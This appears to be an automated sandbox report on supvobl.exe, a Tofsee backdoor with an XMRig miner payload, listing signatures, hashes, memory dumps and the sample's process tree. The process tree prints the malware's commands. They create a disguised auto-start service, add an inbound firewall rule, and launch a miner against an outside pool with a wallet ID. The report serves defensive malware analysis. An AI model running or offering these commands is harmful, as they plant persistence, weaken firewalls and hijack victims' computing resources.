Overview

overview

10

Static

static

supvobl.exe

windows7_x64

10

supvobl.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    09-05-2020 13:03

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General

  • Target

    supvobl.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 1 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ktkotrib\
      2⤵
        PID:3748
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pysxpojf.exe" C:\Windows\SysWOW64\ktkotrib\
        2⤵
          PID:2216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ktkotrib binPath= "C:\Windows\SysWOW64\ktkotrib\pysxpojf.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3020
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ktkotrib "wifi internet conection"
            2⤵
              PID:4004
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ktkotrib
              2⤵
                PID:644
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:636
              • C:\Windows\SysWOW64\ktkotrib\pysxpojf.exe
                C:\Windows\SysWOW64\ktkotrib\pysxpojf.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1104
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:384
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe --algo=cn-heavy/tube -o tube.pool.gntl.co.uk:8080 -u bs3DRuaSUbRjZ3zryBKc1bUv4dxVdTewBfJBQcrHkbC5g4x3pc2QSnebvXwfi3DRoFNFLExjV8MDwBCgejSS6bcr2xFUqWnXA+58000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1516

              Network

              MITRE ATT&CK Enterprise v6

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\pysxpojf.exe
                MD5

                23a1656fae392a2e44f15857fecf651c

                SHA1

                d0cf86f4add84e5248bbe2593545a4b89fd42142

                SHA256

                b73a419ce1b18d9d8a6f2558c903c13cd3e574490b89abd21b7294466af4ac6f

                SHA512

                a82042ecdb2944d278e31eaabc474532ba8525d09ded3e94489d199f45920866c8bf6c13ff749cd567c11b3b2e4a19cf694739320b6adbbaebd80e392cccd5b8

                Download Submit

              • C:\Windows\SysWOW64\ktkotrib\pysxpojf.exe
                MD5

                23a1656fae392a2e44f15857fecf651c

                SHA1

                d0cf86f4add84e5248bbe2593545a4b89fd42142

                SHA256

                b73a419ce1b18d9d8a6f2558c903c13cd3e574490b89abd21b7294466af4ac6f

                SHA512

                a82042ecdb2944d278e31eaabc474532ba8525d09ded3e94489d199f45920866c8bf6c13ff749cd567c11b3b2e4a19cf694739320b6adbbaebd80e392cccd5b8

                Download Submit

              • memory/384-6-0x0000000002510000-0x0000000002525000-memory.dmp

                Filesize

                84KB

                Download

              • memory/384-8-0x0000000004650000-0x000000000485F000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/384-9-0x00000000025C0000-0x00000000025C6000-memory.dmp

                Filesize

                24KB

                Download

              • memory/384-10-0x00000000025D0000-0x00000000025E0000-memory.dmp

                Filesize

                64KB

                Download

              • memory/384-11-0x00000000025F0000-0x00000000025F5000-memory.dmp

                Filesize

                20KB

                Download

              • memory/384-12-0x0000000008C50000-0x000000000905B000-memory.dmp

                Filesize

                4.0MB

                Download

              • memory/384-13-0x0000000002A50000-0x0000000002A57000-memory.dmp

                Filesize

                28KB

                Download

              • memory/1104-4-0x0000000002EFC000-0x0000000002EFE000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1104-5-0x0000000003410000-0x0000000003411000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1516-14-0x0000000002CE0000-0x0000000002DD1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/2540-1-0x00000000034B0000-0x00000000034B1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/2540-0-0x0000000002E53000-0x0000000002E54000-memory.dmp

                Filesize

                4KB

                Download